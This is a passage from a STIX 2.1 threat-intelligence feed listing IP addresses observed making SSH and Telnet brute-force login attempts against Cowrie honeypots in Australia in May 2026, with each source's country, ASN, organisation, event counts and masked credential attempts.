      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--832707b7-0800-4fec-b971-b2bc0a2e3e00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.232.91.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:15:10.000Z",
      "valid_until": "2026-06-05T14:15:08.000Z"
    },
    {
      "created": "2026-05-04T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 16629. Organisation(s): CTC. CORP S.A. TELEFONICA EMPRESAS.",
      "id": "indicator--b397b85e-0ce0-4a6f-a5f1-ac4ff2a1b3f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.212.0.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:15:10.000Z",
      "valid_until": "2026-06-05T14:15:08.000Z"
    },
    {
      "created": "2026-05-04T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--57dce765-38ae-4450-8ecc-d4cca572a8ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.108.0.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:15:10.000Z",
      "valid_until": "2026-06-05T14:15:08.000Z"
    },
    {
      "created": "2026-05-04T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: CZ. ASN(s): 201533. Organisation(s): United Networks SE. Usernames observed (masked): r**t. Passwords observed (masked): r*******n.",
      "id": "indicator--93866cc9-dc94-447d-90ea-e05e04896714",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.71.233.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:15:10.000Z",
      "valid_until": "2026-06-05T14:15:08.000Z"
    },
    {
      "created": "2026-05-04T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--215f0432-71d7-476b-838c-34718b54e459",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.189.184.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:15:10.000Z",
      "valid_until": "2026-06-05T14:15:08.000Z"
    },
    {
      "created": "2026-05-04T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 36866. Organisation(s): JTL.",
      "id": "indicator--e60504a1-bb8a-4316-adf4-12e86b020e2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.232.159.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:15:10.000Z",
      "valid_until": "2026-06-05T14:15:08.000Z"
    },
    {
      "created": "2026-05-04T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 203214. Organisation(s): Hulum Almustakbal Company for Communication Engineering and Services Ltd.",
      "id": "indicator--e79fe07c-690e-4dfa-bdb1-a183ebec2d9c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.236.163.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:15:10.000Z",
      "valid_until": "2026-06-05T14:15:08.000Z"
    },
    {
      "created": "2026-05-04T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--a4783fb3-c137-4404-82bd-bd67c6780023",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:15:10.000Z",
      "valid_until": "2026-06-05T14:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 149617. Organisation(s): Digiana Speed Net Private Limited.",
      "id": "indicator--a37d00a4-03f2-4c3a-99bb-c89e3dec3f27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.160.133.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--7293d6e0-5f94-40c3-854a-8d81e28b6fd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.35.247.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--364dd931-1a46-4cb7-9f9d-4f346ad05be0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.205.250.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--abb77d87-c966-4955-ba6d-3f47279cee21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.230.23.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--bd7a0041-e028-4667-aed2-b54c915f520a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '135.237.126.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--4fe743b0-2166-473d-9790-12ef69e29ee3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.50.181.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--a81212d0-cc64-4f0a-ba2b-6f26cc84f3f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.180.103.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53076. Organisation(s): INTERPIRA INTERNET SERVICE PROVIDER LTDA.",
      "id": "indicator--d618700d-055a-4b90-a279-263fa2b9a1f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.87.162.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 215778. Organisation(s): Alpha Strike Labs GmbH.",
      "id": "indicator--bc3fe348-404a-4237-b685-37206fc222fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 37133. Organisation(s): airtel-tz-as.",
      "id": "indicator--a75f127a-4bad-4a02-9f24-9551b780c596",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.186.40.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 233. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 14117. Organisation(s): Telefonica del Sur S.A.. Usernames observed (masked): u**r, a***n, p******s, m*******t, u****u. Passwords observed (masked): 1**4, 1****6, 1******1, ***, 1*******3.",
      "id": "indicator--264e480a-9933-49b1-806f-15a8c0dffd66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.186.40.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 366. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--cd036175-05c4-4d8b-888f-828c457c5871",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '207.180.249.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e331ba9b-b6c0-4424-bdb9-1b5b8a0f2a62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.22.95.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 273155. Organisation(s): DATANET VZLA 2021, C.A.",
      "id": "indicator--e9e2105c-fc15-4013-a49b-cbcff0f8b529",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.137.179.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, u****u, a*****r, ***, s******n. Passwords observed (masked): ***, 1****6, 1******8, 1*******9, 1******x.",
      "id": "indicator--afb56839-9d36-4e04-9766-c1dd3952798c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.104.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133648. Organisation(s): MNR Broadband Services Pvt. Ltd..",
      "id": "indicator--e833acb5-b711-4ff2-9b60-b967397236d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.231.58.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268374. Organisation(s): Telnet Servicos e Comercio em Informatica Ltda..",
      "id": "indicator--a67293fe-2289-4fdd-92d2-0362f5def85d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.239.27.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--80e19a3e-39fc-45ef-9661-85a3b7283bbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--fa56facb-af44-4d84-ad06-41407925f623",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--87968985-5716-48d8-86a5-e388fec96a54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '76.143.140.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 24955. Organisation(s): JSC Ufanet.",
      "id": "indicator--5d066bf0-e2bd-48b3-8296-1512873fd365",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.50.155.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:15:10.000Z",
      "valid_until": "2026-06-05T15:15:08.000Z"
    },
    {
      "created": "2026-05-04T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--2341b950-ce1f-4543-8139-25040e138f4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:15:06.000Z",
      "valid_until": "2026-06-05T16:15:04.000Z"
    },
    {
      "created": "2026-05-04T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): 1**********Z.",
      "id": "indicator--331d5345-067a-4d3c-9021-d55d437c1b60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.83.196.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:15:06.000Z",
      "valid_until": "2026-06-05T16:15:04.000Z"
    },
    {
      "created": "2026-05-04T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--405e4a0a-932c-4c1d-aaf3-77a5a7a92768",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.169.105.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:15:06.000Z",
      "valid_until": "2026-06-05T16:15:04.000Z"
    },
    {
      "created": "2026-05-04T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--2a7d65ee-d9b0-4692-8c13-2235190b419b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.135.33.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:15:06.000Z",
      "valid_until": "2026-06-05T16:15:04.000Z"
    },
    {
      "created": "2026-05-04T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--778b9098-cf12-487b-9837-9aa753e06050",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.191.106.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:15:06.000Z",
      "valid_until": "2026-06-05T16:15:04.000Z"
    },
    {
      "created": "2026-05-04T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 25853. Organisation(s): Ellijay Telephone Company.",
      "id": "indicator--61087d4d-d060-41ef-83de-ab95b52dc5ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.197.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:15:06.000Z",
      "valid_until": "2026-06-05T16:15:04.000Z"
    },
    {
      "created": "2026-05-04T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 19318. Organisation(s): Interserver, Inc.",
      "id": "indicator--ffa67963-98c5-4b60-b53f-99e6103fc397",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.119.157.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:15:06.000Z",
      "valid_until": "2026-06-05T16:15:04.000Z"
    },
    {
      "created": "2026-05-04T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): ***. Passwords observed (masked): 1***5.",
      "id": "indicator--ef4bea4d-baf4-48ff-a329-01b56de0c9d9",
      "labels": [
        "bruteforce"
      ],
